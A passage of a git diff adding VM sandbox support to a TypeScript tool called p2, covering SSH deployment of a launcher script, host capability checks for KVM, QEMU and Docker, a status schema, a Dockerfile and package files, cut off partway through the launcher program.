await forgetHostKey(sshOptions(this.directory, name, await this.sshConfig(name)));
|
||||
this.release(name);
|
||||
}
|
||||
|
||||
/** A connection for browsing an env's directories, shared and closed after a while without use. */
|
||||
private async browser(name: string): Promise<RemoteSession> {
|
||||
const configs = await loadEnvs(this.directory);
|
||||
const config = await this.config(name);
|
||||
const revision = envRevision(config);
|
||||
// A sandbox's connection goes through its host: an edit of either starts a new one.
|
||||
const revision = connectionRevision(configs, config);
|
||||
let browser = this.browsers.get(name);
|
||||
if (browser?.revision !== revision) {
|
||||
this.release(name);
|
||||
|
|
@ -265,12 +395,16 @@ export class EnvManager {
|
|||
return value(await session.env.absolutePath(absolute, context));
|
||||
}
|
||||
|
||||
/** Start the connections of every env in the background, so the first listing does not wait for ssh. */
|
||||
/**
|
||||
* Start the connections of every SSH env in the background, so the first listing does not wait for ssh. Sandboxes
|
||||
* are left alone: connecting to one starts its VM.
|
||||
*/
|
||||
async warm(): Promise<void> {
|
||||
for (const name of Object.keys(await loadEnvs(this.directory)))
|
||||
void this.browser(name)
|
||||
.then((session) => session.connection.info())
|
||||
.catch(() => {});
|
||||
for (const [name, config] of Object.entries(await loadEnvs(this.directory)))
|
||||
if (config.type === "ssh")
|
||||
void this.browser(name)
|
||||
.then((session) => session.connection.info())
|
||||
.catch(() => {});
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -341,3 +475,32 @@ export class EnvManager {
|
|||
for (const name of [...this.browsers.keys()]) this.release(name);
|
||||
}
|
||||
}
|
||||
|
||||
/** Whether the host can run sandboxes, from the launcher's `check`; a failed check is a "none" with its error. */
|
||||
async function sandboxSupport(target: SshTarget, remote: RemotePlatform, launcher: string): Promise<SandboxSupport> {
|
||||
if (remote.platform !== "linux")
|
||||
return { runtime: "none", detail: `Sandboxes need Linux; this host runs ${remote.platform}.` };
|
||||
let report: unknown;
|
||||
try {
|
||||
report = await launcherCommand(target, remote, launcher, ["check"]);
|
||||
} catch (error) {
|
||||
return { runtime: "none", detail: `The sandbox check failed: ${errorMessage(error)}` };
|
||||
}
|
||||
// The host's answer is wire input.
|
||||
if (!checkReport.check(report)) return { runtime: "none", detail: "The sandbox check answered unexpectedly." };
|
||||
const qemu = report.qemu ? `QEMU ${report.qemu}` : "no QEMU";
|
||||
const [major = 0, minor = 0] = report.qemu.split(".").map(Number);
|
||||
const native: string[] = [];
|
||||
if (!report.kvm) native.push(report.kvmDevice ? "/dev/kvm is not accessible to this user" : "there is no /dev/kvm");
|
||||
if (!report.qemu) native.push("QEMU is not installed");
|
||||
else if (major < 7 || (major === 7 && minor < 2)) native.push(`QEMU ${report.qemu} is too old (Gondolin needs 7.2)`);
|
||||
if (!report.node || Number(report.node.split(".")[0]) < 22) native.push("Node 22 or newer is not installed");
|
||||
if (report.runtime === "native")
|
||||
return { runtime: "native", detail: `Gondolin runs natively (${qemu}, Node ${report.node}, KVM).` };
|
||||
if (report.runtime === "docker")
|
||||
return { runtime: "docker", detail: `Gondolin runs in Docker${native.length ? `: ${native.join(", ")}` : ""}.` };
|
||||
return {
|
||||
runtime: "none",
|
||||
detail: `This host cannot run sandboxes: ${[...native, ...(report.docker ? [] : ["no usable Docker"])].join(", ")}.`,
|
||||
};
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,14 +1,20 @@
|
|||
import {
|
||||
type Connection,
|
||||
Connection,
|
||||
type ConnectionOptions,
|
||||
deployDaemon,
|
||||
detectPlatform,
|
||||
packagedDaemon,
|
||||
RemoteExecutionEnv,
|
||||
type RemotePlatform,
|
||||
type SshConnectOptions,
|
||||
sshArguments,
|
||||
sshConnection,
|
||||
} from "@earendil-works/pi-env";
|
||||
import { type EnvConfig, envId, hostKeyAlias, knownHostsPath } from "./config.ts";
|
||||
import { type EnvConfig, envId, hostKeyAlias, knownHostsPath, loadEnvs, type SshEnvConfig } from "./config.ts";
|
||||
import { deployedCommand, deployLauncher, runLauncher, sandboxArgument, sandboxKey } from "./sandbox-host.ts";
|
||||
|
||||
/** `connectSsh`/`sshConnection` options for an env of `envs.json`. */
|
||||
export function sshOptions(directory: string, name: string, config: EnvConfig): SshConnectOptions {
|
||||
/** `connectSsh`/`sshConnection` options for an SSH env of `envs.json`. */
|
||||
export function sshOptions(directory: string, name: string, config: SshEnvConfig): SshConnectOptions {
|
||||
return {
|
||||
host: config.host,
|
||||
...(config.user === undefined ? {} : { user: config.user }),
|
||||
|
|
@ -20,6 +26,73 @@ export function sshOptions(directory: string, name: string, config: EnvConfig):
|
|||
};
|
||||
}
|
||||
|
||||
export type EnvConnectOptions = {
|
||||
/**
|
||||
* The sandbox launcher's source directory (this plugin's sandbox/: `pluginFile("sandbox")` in a facet); needed by
|
||||
* sandboxes only.
|
||||
*/
|
||||
launcher?: string;
|
||||
/** The daemon to run (default: the one pi-env ships for the machine). */
|
||||
binary?: string;
|
||||
onLog?: ConnectionOptions["onLog"];
|
||||
};
|
||||
|
||||
/** A connection and, once it started, the system it runs on (a sandbox's: Linux on its host's architecture). */
|
||||
export type EnvConnection = { connection: Connection; remote(): RemotePlatform | undefined };
|
||||
|
||||
/**
|
||||
* A pi-env connection to env `name` that starts at its first request: over SSH for an SSH env; for a sandbox, over SSH
|
||||
* to its host, where p2's launcher starts the sandbox's VM if needed and runs the daemon in it. A sandbox's host
|
||||
* configuration is read from `directory`'s envs.json at each start.
|
||||
*/
|
||||
export function envConnection(
|
||||
directory: string,
|
||||
name: string,
|
||||
config: EnvConfig,
|
||||
options: EnvConnectOptions = {},
|
||||
): EnvConnection {
|
||||
if (config.type === "ssh")
|
||||
return sshConnection({
|
||||
...sshOptions(directory, name, config),
|
||||
...(options.binary === undefined ? {} : { binary: options.binary }),
|
||||
...(options.onLog === undefined ? {} : { onLog: options.onLog }),
|
||||
});
|
||||
let remote: RemotePlatform | undefined;
|
||||
const { launcher } = options;
|
||||
const connection = new Connection({
|
||||
command: async () => {
|
||||
if (launcher === undefined) throw new Error(`No sandbox launcher to start sandbox ${name}`);
|
||||
const host = await sandboxHost(directory, name, config.host);
|
||||
const detected = remote ?? (await detectPlatform(host));
|
||||
if (detected.platform !== "linux")
|
||||
throw new Error(`Sandboxes need a Linux host; "${config.host}" runs ${detected.platform}`);
|
||||
remote = detected;
|
||||
// The VM is Linux on the host's architecture: the host's own daemon runs in it.
|
||||
const daemon = await deployDaemon(host, detected, options.binary ?? packagedDaemon(detected));
|
||||
const deployed = await deployLauncher(host, detected, launcher);
|
||||
// Start the VM first, with the launcher's own allowance (a first start may build the Docker image and download
|
||||
// the guest image): the daemon connection must answer within pi-env's 30 s once it runs.
|
||||
const key = sandboxKey(directory, name);
|
||||
await deployedCommand(host, deployed, ["start", key, sandboxArgument(config)]);
|
||||
return [
|
||||
host.ssh ?? "ssh",
|
||||
...sshArguments(host),
|
||||
runLauncher(deployed, ["daemon", key, sandboxArgument(config), daemon, "--"]),
|
||||
];
|
||||
},
|
||||
...(options.onLog === undefined ? {} : { onLog: options.onLog }),
|
||||
});
|
||||
return { connection, remote: () => remote };
|
||||
}
|
||||
|
||||
/** The SSH options of sandbox `name`'s host `host`, as configured now. */
|
||||
export async function sandboxHost(directory: string, name: string, host: string): Promise<SshConnectOptions> {
|
||||
const configs = await loadEnvs(directory);
|
||||
const config = Object.hasOwn(configs, host) ? configs[host] : undefined;
|
||||
if (config?.type !== "ssh") throw new Error(`Sandbox ${name} runs on "${host}", which is not an SSH environment`);
|
||||
return sshOptions(directory, host, config);
|
||||
}
|
||||
|
||||
export type RemoteSession = {
|
||||
env: RemoteExecutionEnv;
|
||||
connection: Connection;
|
||||
|
|
@ -38,19 +111,18 @@ export function remoteSession(
|
|||
name: string,
|
||||
config: EnvConfig,
|
||||
cwd: string,
|
||||
onLog?: (text: string) => void,
|
||||
options: Omit<EnvConnectOptions, "binary"> = {},
|
||||
): RemoteSession {
|
||||
const { connection, remote } = sshConnection({
|
||||
...sshOptions(directory, name, config),
|
||||
...(onLog === undefined ? {} : { onLog }),
|
||||
});
|
||||
const { connection, remote } = envConnection(directory, name, config, options);
|
||||
const shellPath = config.type === "ssh" ? config.shellPath : undefined;
|
||||
const shellEnv = config.type === "ssh" ? config.shellEnv : undefined;
|
||||
const at = (directory: string) =>
|
||||
new RemoteExecutionEnv({
|
||||
connection,
|
||||
id: envId(name, config),
|
||||
cwd: directory,
|
||||
...(config.shellPath === undefined ? {} : { shellPath: config.shellPath }),
|
||||
...(config.shellEnv === undefined ? {} : { shellEnv: config.shellEnv }),
|
||||
...(shellPath === undefined ? {} : { shellPath }),
|
||||
...(shellEnv === undefined ? {} : { shellEnv }),
|
||||
});
|
||||
return { env: at(cwd), connection, remote, at };
|
||||
}
|
||||
|
|
|
|||
172
apps/p2/plugins/envs/sandbox-host.ts
Normal file
172
apps/p2/plugins/envs/sandbox-host.ts
Normal file
|
|
@ -0,0 +1,172 @@
|
|||
// p2's sandbox launcher on a host environment: deploying it (sandbox/ of this plugin, named by its content under the
|
||||
// host's ~/.pi/p2/sandbox/; the files are read from the source directory the caller passes), the command line that runs it over SSH, and one-shot commands (check, start, status, stop)
|
||||
// whose JSON answer p2 reads.
|
||||
|
||||
import { spawn } from "node:child_process";
|
||||
import { createHash } from "node:crypto";
|
||||
import { readFileSync } from "node:fs";
|
||||
import { hostname } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { type RemotePlatform, type SshTarget, sshArguments } from "@earendil-works/pi-env";
|
||||
import type { GondolinEnvConfig } from "./config.ts";
|
||||
|
||||
/** The launcher's files as deployed: name on the host, file in the launcher's source directory. */
|
||||
const FILES: readonly (readonly [string, string])[] = [
|
||||
["p2-sandbox.sh", "p2-sandbox.sh"],
|
||||
["p2-sandbox.mjs", "p2-sandbox.mjs"],
|
||||
["Dockerfile", "Dockerfile"],
|
||||
["package.json", "host-package.json"],
|
||||
["package-lock.json", "host-package-lock.json"],
|
||||
];
|
||||
|
||||
type Bundle = { readonly files: readonly (readonly [string, Buffer])[]; readonly id: string };
|
||||
const bundles = new Map<string, Bundle>();
|
||||
|
||||
/**
|
||||
* The launcher's files from `source` (this plugin's sandbox/ directory: a facet passes `pluginFile("sandbox")`) and
|
||||
* the name of their directory on the host (their SHA-256), read once per source.
|
||||
*/
|
||||
function bundleOf(source: string): Bundle {
|
||||
let bundle = bundles.get(source);
|
||||
if (!bundle) {
|
||||
const files = FILES.map(([name, path]) => [name, readFileSync(join(source, path))] as const);
|
||||
const hash = createHash("sha256");
|
||||
for (const [name, content] of files) hash.update(`${name}\0${content.length}\0`).update(content);
|
||||
bundle = { files, id: hash.digest("hex").slice(0, 16) };
|
||||
bundles.set(source, bundle);
|
||||
}
|
||||
return bundle;
|
||||
}
|
||||
|
||||
/** The name of the launcher's directory on a host: the content hash of its files in `source`. */
|
||||
export function launcherId(source: string): string {
|
||||
return bundleOf(source).id;
|
||||
}
|
||||
|
||||
/** How long a deployment or one-shot command may take; `start` may download the guest image first. */
|
||||
const COMMAND_TIMEOUT_MS = 60_000;
|
||||
const START_TIMEOUT_MS = 660_000;
|
||||
|
||||
const quote = (text: string): string => `'${text.replaceAll("'", "'\\''")}'`;
|
||||
|
||||
/** The sandbox configuration the launcher takes: base64 JSON of what the VM needs. */
|
||||
export function sandboxArgument(config: GondolinEnvConfig): string {
|
||||
const value = {
|
||||
...(config.image === undefined ? {} : { image: config.image }),
|
||||
mounts: config.mounts ?? [],
|
||||
allowHosts: config.allowHosts ?? [],
|
||||
...(config.cpus === undefined ? {} : { cpus: config.cpus }),
|
||||
...(config.memoryMb === undefined ? {} : { memoryMb: config.memoryMb }),
|
||||
};
|
||||
return Buffer.from(JSON.stringify(value)).toString("base64");
|
||||
}
|
||||
|
||||
/** The configuration's revision as the launcher reports it for the running VM (it applies at the next start). */
|
||||
export function sandboxRevision(config: GondolinEnvConfig): string {
|
||||
return createHash("sha256").update(sandboxArgument(config)).digest("hex").slice(0, 16);
|
||||
}
|
||||
|
||||
/** The remote command line that runs the launcher in `directory` with `args`. */
|
||||
export function runLauncher(directory: string, args: readonly string[]): string {
|
||||
return ["sh", quote(`${directory}/p2-sandbox.sh`), ...args.map(quote)].join(" ");
|
||||
}
|
||||
|
||||
/** Run `command` on the host over SSH, optionally feeding `input`; resolves with stdout, rejects with stderr. */
|
||||
function runOnHost(
|
||||
target: SshTarget,
|
||||
command: string,
|
||||
input?: string,
|
||||
timeoutMs = COMMAND_TIMEOUT_MS,
|
||||
): Promise<string> {
|
||||
return new Promise((resolve, reject) => {
|
||||
const child = spawn(target.ssh ?? "ssh", [...sshArguments(target), command], {
|
||||
stdio: ["pipe", "pipe", "pipe"],
|
||||
});
|
||||
const out: Buffer[] = [];
|
||||
const err: Buffer[] = [];
|
||||
const timer = setTimeout(() => child.kill("SIGKILL"), timeoutMs);
|
||||
child.stdout.on("data", (chunk: Buffer) => out.push(chunk));
|
||||
child.stderr.on("data", (chunk: Buffer) => err.push(chunk));
|
||||
child.on("error", (error) => {
|
||||
clearTimeout(timer);
|
||||
reject(error);
|
||||
});
|
||||
child.on("close", (code) => {
|
||||
clearTimeout(timer);
|
||||
const stderr = Buffer.concat(err).toString("utf8").trim();
|
||||
if (code === 0) resolve(Buffer.concat(out).toString("utf8"));
|
||||
else reject(new Error(stderr || `ssh exited with code ${code}`));
|
||||
});
|
||||
child.stdin.end(input ?? "");
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Make sure this launcher is on the host and return its directory. One round trip: the script checks the files'
|
||||
* hashes (a changed file is written again) and writes a missing or changed directory through a temporary one renamed
|
||||
* into place. Other versions stay (other p2 installations may use them) until unused for 30 days.
|
||||
*/
|
||||
export async function deployLauncher(target: SshTarget, remote: RemotePlatform, source: string): Promise<string> {
|
||||
const bundle = bundleOf(source);
|
||||
const root = `${remote.home}/.pi/p2/sandbox`;
|
||||
const directory = `${root}/${bundle.id}`;
|
||||
const sha = (content: Buffer) => createHash("sha256").update(content).digest("hex");
|
||||
const script = [
|
||||
"set -e",
|
||||
`d=${quote(directory)}`,
|
||||
`r=${quote(root)}`,
|
||||
'hash() { sha256sum "$1" 2>/dev/null | cut -d" " -f1; }',
|
||||
"intact() {",
|
||||
'\t[ -f "$d/.complete" ] || return 1',
|
||||
...bundle.files.map(([name, content]) => `\t[ "$(hash "$d/${name}")" = ${sha(content)} ] || return 1`),
|
||||
"}",
|
||||
"if ! intact; then",
|
||||
'\tmkdir -p "$r"',
|
||||
'\tt=$(mktemp -d "$d.XXXXXX")',
|
||||
...bundle.files.map(
|
||||
([name, content]) => `\tprintf %s ${quote(content.toString("base64"))} | base64 -d > "$t/${name}"`,
|
||||
),
|
||||
'\tchmod 755 "$t/p2-sandbox.sh"',
|
||||
'\ttouch "$t/.complete"',
|
||||
'\trm -rf "$d"',
|
||||
'\tmv "$t" "$d"',
|
||||
"fi",
|
||||
'touch "$d"',
|
||||
'find "$r" -mindepth 1 -maxdepth 1 -type d -name "????????????????" -mtime +30 -exec rm -rf {} +',
|
||||
].join("\n");
|
||||
await runOnHost(target, "sh -s", `${script}\n`);
|
||||
return directory;
|
||||
}
|
||||
|
||||
/**
|
||||
* The name a sandbox's VM has on its host: the sandbox's name, prefixed by this p2 installation (its machine and data
|
||||
* directory), so two installations with a sandbox of the same name on one host never share a VM.
|
||||
*/
|
||||
export function sandboxKey(directory: string, name: string): string {
|
||||
return `${createHash("sha256").update(`${hostname()}\0${directory}`).digest("hex").slice(0, 8)}.${name}`;
|
||||
}
|
||||
|
||||
/** Run a launcher command on the host (deploying the launcher first) and parse its last line of output as JSON. */
|
||||
export async function launcherCommand(
|
||||
target: SshTarget,
|
||||
remote: RemotePlatform,
|
||||
source: string,
|
||||
args: readonly string[],
|
||||
): Promise<unknown> {
|
||||
return deployedCommand(target, await deployLauncher(target, remote, source), args);
|
||||
}
|
||||
|
||||
/**
|
||||
* Run a command of the launcher deployed in `directory` and parse its last line of output as JSON; `start` may take
|
||||
* minutes (a first start builds the Docker image and downloads the guest image).
|
||||
*/
|
||||
export async function deployedCommand(target: SshTarget, directory: string, args: readonly string[]): Promise<unknown> {
|
||||
const timeoutMs = args[0] === "start" ? START_TIMEOUT_MS : COMMAND_TIMEOUT_MS;
|
||||
const output = await runOnHost(target, runLauncher(directory, args), undefined, timeoutMs);
|
||||
const line = output.trim().split("\n").at(-1) ?? "";
|
||||
try {
|
||||
return JSON.parse(line);
|
||||
} catch {
|
||||
throw new Error(`Unexpected answer from the sandbox launcher: ${line.slice(0, 200)}`);
|
||||
}
|
||||
}
|
||||
26
apps/p2/plugins/envs/sandbox-schema.ts
Normal file
26
apps/p2/plugins/envs/sandbox-schema.ts
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
// What the sandbox launcher on a host prints (p2-sandbox.sh check, p2-sandbox.mjs status/start/stop): wire input that
|
||||
// the manager checks before use.
|
||||
|
||||
import { bool, num, obj, str, union } from "@earendil-works/pi-schema";
|
||||
import { literal } from "@p2/app/v1";
|
||||
|
||||
/** `p2-sandbox.sh check`: how Gondolin can run on the host and what it found. */
|
||||
export const LauncherCheckSchema = obj(
|
||||
{
|
||||
runtime: union([literal("native"), literal("docker"), literal("none")]),
|
||||
system: str(),
|
||||
arch: str(),
|
||||
kvm: bool(),
|
||||
kvmDevice: bool(),
|
||||
qemu: str(),
|
||||
node: str(),
|
||||
docker: bool(),
|
||||
},
|
||||
{ open: true },
|
||||
);
|
||||
|
||||
/** `status`, `start` and `stop`: the VM's state; a running one names its configuration's revision. */
|
||||
export const LauncherStatusSchema = union([
|
||||
obj({ state: literal("stopped") }, { open: true }),
|
||||
obj({ state: literal("running"), startedAt: num(), revision: str(), cpus: num(), memoryMb: num() }, { open: true }),
|
||||
]);
|
||||
8
apps/p2/plugins/envs/sandbox/Dockerfile
Normal file
8
apps/p2/plugins/envs/sandbox/Dockerfile
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
# Fallback for hosts that cannot run Gondolin directly (no Node 22+, or a QEMU older than 7.2, e.g. Ubuntu 22.04's 6.2):
|
||||
# the sandbox supervisors and their VMs run in this container instead, with the host's /dev/kvm passed in and the
|
||||
# host user's home mounted at the same path. Only Node and QEMU: Gondolin and the launcher come from the launcher's
|
||||
# directory in that home. p2-sandbox.sh builds it when it picks Docker, tagged with this file's hash.
|
||||
FROM node:24-trixie-slim
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends qemu-system-x86 qemu-system-arm qemu-utils ca-certificates \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
165
apps/p2/plugins/envs/sandbox/host-package-lock.json
generated
Normal file
165
apps/p2/plugins/envs/sandbox/host-package-lock.json
generated
Normal file
|
|
@ -0,0 +1,165 @@
|
|||
{
|
||||
"name": "p2-sandbox-host",
|
||||
"lockfileVersion": 3,
|
||||
"requires": true,
|
||||
"packages": {
|
||||
"": {
|
||||
"name": "p2-sandbox-host",
|
||||
"dependencies": {
|
||||
"@earendil-works/gondolin": "0.14.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@cto.af/wtf8": {
|
||||
"version": "1.0.0",
|
||||
"resolved": "https://registry.npmjs.org/@cto.af/wtf8/-/wtf8-1.0.0.tgz",
|
||||
"integrity": "sha512-qI0XnZxcj/FmASB8XXWqG49bSIzu0I/02deAjhnTni9IZ7KMRVlh8EFLE+mmJlMA169lET6rTCFhEsZSjOwlhA==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=22"
|
||||
}
|
||||
},
|
||||
"node_modules/@earendil-works/gondolin": {
|
||||
"version": "0.14.0",
|
||||
"resolved": "https://registry.npmjs.org/@earendil-works/gondolin/-/gondolin-0.14.0.tgz",
|
||||
"integrity": "sha512-MSw+EGcqFJeyKHdXEfm+nMRr74ytT4x8DGIohav0oPCHeVQAB9AajquM94cv2xqvIU3VDAaZZVC07IXsOY6OVQ==",
|
||||
"license": "Apache-2.0",
|
||||
"dependencies": {
|
||||
"cbor2": "^2.3.0",
|
||||
"ssh2": "^1.17.0",
|
||||
"undici": "^6.29.0"
|
||||
},
|
||||
"bin": {
|
||||
"gondolin": "dist/bin/gondolin.js"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=22.19.0"
|
||||
},
|
||||
"optionalDependencies": {
|
||||
"@earendil-works/gondolin-krun-runner-darwin-arm64": "0.14.0",
|
||||
"@earendil-works/gondolin-krun-runner-linux-x64": "0.14.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@earendil-works/gondolin-krun-runner-darwin-arm64": {
|
||||
"version": "0.14.0",
|
||||
"resolved": "https://registry.npmjs.org/@earendil-works/gondolin-krun-runner-darwin-arm64/-/gondolin-krun-runner-darwin-arm64-0.14.0.tgz",
|
||||
"integrity": "sha512-fvuhz1CZPaEbmXC0luZoXd1obAb0bjaaGJz33Jo63bhMlosYunAahItakh7cU0dnTlNFzufOSnpGOPqtuYjnpQ==",
|
||||
"cpu": ["arm64"],
|
||||
"license": "Apache-2.0",
|
||||
"optional": true,
|
||||
"os": ["darwin"],
|
||||
"bin": {
|
||||
"gondolin-krun-runner": "bin/gondolin-krun-runner"
|
||||
}
|
||||
},
|
||||
"node_modules/@earendil-works/gondolin-krun-runner-linux-x64": {
|
||||
"version": "0.14.0",
|
||||
"resolved": "https://registry.npmjs.org/@earendil-works/gondolin-krun-runner-linux-x64/-/gondolin-krun-runner-linux-x64-0.14.0.tgz",
|
||||
"integrity": "sha512-91iw4smoOH/yOoAuQS6N2UZOxqSFwRhtk8rTyrokXBoWiWcveAzg4kHvnLcm40ZlNrWwzIDFrere4bkZeGDQcA==",
|
||||
"cpu": ["x64"],
|
||||
"license": "Apache-2.0",
|
||||
"optional": true,
|
||||
"os": ["linux"],
|
||||
"bin": {
|
||||
"gondolin-krun-runner": "bin/gondolin-krun-runner"
|
||||
}
|
||||
},
|
||||
"node_modules/asn1": {
|
||||
"version": "0.2.6",
|
||||
"resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz",
|
||||
"integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"safer-buffer": "~2.1.0"
|
||||
}
|
||||
},
|
||||
"node_modules/bcrypt-pbkdf": {
|
||||
"version": "1.0.2",
|
||||
"resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz",
|
||||
"integrity": "sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==",
|
||||
"license": "BSD-3-Clause",
|
||||
"dependencies": {
|
||||
"tweetnacl": "^0.14.3"
|
||||
}
|
||||
},
|
||||
"node_modules/buildcheck": {
|
||||
"version": "0.0.7",
|
||||
"resolved": "https://registry.npmjs.org/buildcheck/-/buildcheck-0.0.7.tgz",
|
||||
"integrity": "sha512-lHblz4ahamxpTmnsk+MNTRWsjYKv965MwOrSJyeD588rR3Jcu7swE+0wN5F+PbL5cjgu/9ObkhfzEPuofEMwLA==",
|
||||
"optional": true,
|
||||
"engines": {
|
||||
"node": ">=10.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/cbor2": {
|
||||
"version": "2.4.1",
|
||||
"resolved": "https://registry.npmjs.org/cbor2/-/cbor2-2.4.1.tgz",
|
||||
"integrity": "sha512-h4OqPnSvIEUNCxTNb9pwMZPKjhNKO9bkPwQJOR7d5oBIrZR/CO098atrLl4AkQmB1p3opCvo2UFt4fhRSWC/vQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@cto.af/wtf8": "1.0.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=22"
|
||||
}
|
||||
},
|
||||
"node_modules/cpu-features": {
|
||||
"version": "0.0.10",
|
||||
"resolved": "https://registry.npmjs.org/cpu-features/-/cpu-features-0.0.10.tgz",
|
||||
"integrity": "sha512-9IkYqtX3YHPCzoVg1Py+o9057a3i0fp7S530UWokCSaFVTc7CwXPRiOjRjBQQ18ZCNafx78YfnG+HALxtVmOGA==",
|
||||
"hasInstallScript": true,
|
||||
"optional": true,
|
||||
"dependencies": {
|
||||
"buildcheck": "~0.0.6",
|
||||
"nan": "^2.19.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/nan": {
|
||||
"version": "2.30.0",
|
||||
"resolved": "https://registry.npmjs.org/nan/-/nan-2.30.0.tgz",
|
||||
"integrity": "sha512-P5mokDkSvCGBz6mZDD/2l+w9QoICRXdCyZ9ONGmTePr40oihJg3Kpn0YU3twKd6PJnwSlLBWNQeOT6yWEV2c4A==",
|
||||
"license": "MIT",
|
||||
"optional": true
|
||||
},
|
||||
"node_modules/safer-buffer": {
|
||||
"version": "2.1.2",
|
||||
"resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
|
||||
"integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/ssh2": {
|
||||
"version": "1.17.0",
|
||||
"resolved": "https://registry.npmjs.org/ssh2/-/ssh2-1.17.0.tgz",
|
||||
"integrity": "sha512-wPldCk3asibAjQ/kziWQQt1Wh3PgDFpC0XpwclzKcdT1vql6KeYxf5LIt4nlFkUeR8WuphYMKqUA56X4rjbfgQ==",
|
||||
"hasInstallScript": true,
|
||||
"dependencies": {
|
||||
"asn1": "^0.2.6",
|
||||
"bcrypt-pbkdf": "^1.0.2"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10.16.0"
|
||||
},
|
||||
"optionalDependencies": {
|
||||
"cpu-features": "~0.0.10",
|
||||
"nan": "^2.23.0"
|
||||
}
|
||||
},
|
||||
"node_modules/tweetnacl": {
|
||||
"version": "0.14.5",
|
||||
"resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
|
||||
"integrity": "sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==",
|
||||
"license": "Unlicense"
|
||||
},
|
||||
"node_modules/undici": {
|
||||
"version": "6.29.1",
|
||||
"resolved": "https://registry.npmjs.org/undici/-/undici-6.29.1.tgz",
|
||||
"integrity": "sha512-EvRlUt/QqAEvXdQeRMYUfwOQsfzpDztykrG2owGEE/rBOBoYv9uF39ZzsNDh4lTFHhTr2XOZjKkYgueD12ZmGA==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=18.17"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
8
apps/p2/plugins/envs/sandbox/host-package.json
Normal file
8
apps/p2/plugins/envs/sandbox/host-package.json
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
{
|
||||
"name": "p2-sandbox-host",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"dependencies": {
|
||||
"@earendil-works/gondolin": "0.14.0"
|
||||
}
|
||||
}
|
||||
416
apps/p2/plugins/envs/sandbox/p2-sandbox.mjs
Normal file
416
apps/p2/plugins/envs/sandbox/p2-sandbox.mjs
Normal file
|
|
@ -0,0 +1,416 @@
|
|||
// p2's sandbox program on a host environment: one long-lived Gondolin VM per sandbox, held by a supervisor process
|
||||
// (`serve`), and the commands p2 runs over SSH (`daemon`, `start`, `status`, `stop`). `daemon` starts the supervisor
|
||||
// when the sandbox is not running, then runs the pi-env daemon in the VM with stdin and stdout passed through, so p2
|
||||
// talks to the daemon in the VM as it does to one on any other machine. Started by p2-sandbox.sh, natively or in Docker.
|
||||
|
||||
import { spawn } from "node:child_process";
|
||||
import { createHash } from "node:crypto";
|
||||
import { closeSync, mkdirSync, openSync, readFileSync, rmSync, statSync, writeFileSync } from "node:fs";
|
||||
import { connect, createServer } from "node:net";
|
||||
import { homedir } from "node:os";
|
||||
import { basename, isAbsolute, join, resolve } from "node:path";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import { createHttpHooks, ensureImageSelector, ReadonlyProvider, RealFSProvider, VM } from "@earendil-works/gondolin";
|
||||
|
||||
/** How long a client waits for a starting sandbox: the first start downloads the guest image (about 200 MB). */
|
||||
const START_TIMEOUT_MS = 600_000;
|
||||
/** Where the pi-env daemon is copied in the VM, and where Gondolin mounts the folders before binding them. */
|
||||
const GUEST_TOOLS = "/opt/pi-env";
|
||||
const GUEST_VFS = "/.p2-vfs";
|
||||
const GUEST_ENV = {
|
||||
HOME: "/root",
|
||||
PATH: "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
|
||||
LANG: "C.UTF-8",
|
||||
};
|
||||
/** Frames from the supervisor to a `daemon` client: type byte, 4-byte length, payload. */
|
||||
const STDOUT = 1;
|
||||
const STDERR = 2;
|
||||
const EXIT = 3;
|
||||
|
||||
const self = fileURLToPath(import.meta.url);
|
||||
/** The VM's name on this host: p2 passes `<installation>.<sandbox>`. */
|
||||
const NAME = /^[a-z0-9][a-z0-9_.-]{0,63}$/;
|
||||
|
||||
await main(process.argv.slice(2));
|
||||
|
||||
async function main(args) {
|
||||
const [command, name, ...rest] = args;
|
||||
if (!NAME.test(name ?? "")) fail(`Invalid sandbox name: ${name}`);
|
||||
switch (command) {
|
||||
case "daemon": {
|
||||
// daemon NAME CONFIG BINARY -- ARGS...: the daemon's own arguments follow `--`.
|
||||
const [config, binary, separator, ...daemonArgs] = rest;
|
||||
